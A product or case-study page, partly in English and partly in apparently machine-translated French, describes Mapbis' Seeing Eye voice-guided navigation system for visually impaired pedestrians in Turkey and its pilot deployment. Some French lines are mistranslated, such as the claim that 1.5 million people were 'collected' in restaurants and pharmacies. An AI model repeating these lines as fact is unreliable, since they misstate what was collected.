Navigation pour personnes malvoyantes

In the last decade, Navigation technology became popular among vehicle drivers. Navigation solved many problems, such as finding addresses, the fastest or shortest routes to a location, or the nearest restaurant or gas station.
In 2010 in Turkey, the Ministry of Transportation opened a tender to provide navigation for people with visual impairment, with the navigation system including a GPS-enabled mobile phone, up-to-date routable pedestrian maps, and a software integrating the phone and maps to provide voice-guided, turn-by-turn navigation, as well as enabling the user to browse the internet, listen to the radio, and hear time and date.

With this system, known as Mapbis’ Seeing Eye, people with visual impairment can live happier, more active and more socially integrated lives.

Unlike many of Mapbis’ other projects, Seeing Eye is a solution that must be safely and reliably usable by individuals who have little or no technical training.

There are many unknowns, such as

  • We can supply fresh maps, but we cannot account for every physical obstacle or hole in the street
  • People with visual impairment need more detailed instructions than do pedestrians, for example if there are two possible ways to turn left, the correct one must be specified
  • The devices functions must be specially tailored to people with visual impairment
  • Should the traditional walking-cane be used in combination?
  • How should traffic lights and crosswalks be included?
  • Walking vs public transport (buses/ferries/subway, etc)
  • Which is safer for people with visual impairment, the shortest routes or the commonly used routes?
  • In designing the system, how can we better think like the actual users?
  • This is a social responsibility project in which the Ministry wants to enable people with visual impairment to overcome the obstacles of daily life. Students can go to the library more easily, and workers can be more independent in going to and from their workplace. All users can visit their friends in greater safety and self-confidence.
Mapbis collecte les données de navigation au niveau de la rue depuis 2004. Ce projet nécessite une collecte de données plus sensible pour les piétons, et en particulier pour les aveugles.

Tous les ponts, feux de circulation, croix pour piétons, tunnels, voies non piétonnes, collectés et mis à jour pour un acheminement plus sûr des personnes aveugles.

Plus de 1,5 million de personnes ont été collectées sur le terrain dans des restaurants, des pharmacies, des bureaux gouvernementaux et 300 autres catégories de points importants.

Des arrêts de transports en commun, des itinéraires et des taxis ont été collectés pour un transport efficace.

Une application personnalisée conçue pour une utilisation efficace du téléphone, de la messagerie, du navigateur Internet, de l’horloge, de l’alarme, de la radio, du publipostage et même de l’état de la batterie peut être communiquée à l’utilisateur.

Through Mapbis Seeing Eye application, people with visual impairment have gained freedom to travel, even in crowded cities with heavy traffic. Users can search for any address and can listen to the simulation of how to go there. Users can learn what is around their current location, and now they can even learn if there is another person with visual impairment nearby.

As the user is travelling, if the user is going in a wrong direction the device explains this vocally and guides the user in the correct direction.

If the user is passing by the saved location of a friend, relative or favorite place, the device vocally informs the user of this.

We have consulted many people with visual impairment as to the detailed routes which should be provided in the system. In the systems design we have included many options specially customized for users.

Cette application a été développée et distribuée comme une étude pilote incluant 5 000 personnes ayant une déficience visuelle complète.

Les sites d’étude étaient Istanbul, Ankara, Izmir et trois autres grandes villes de Turquie.

Au cours de la deuxième phase, 5 000 autres unités ont été mises en adjudication, couvrant 25 des 81 capitales provinciales, procurant des avantages escomptés à 25 000 personnes malvoyantes.
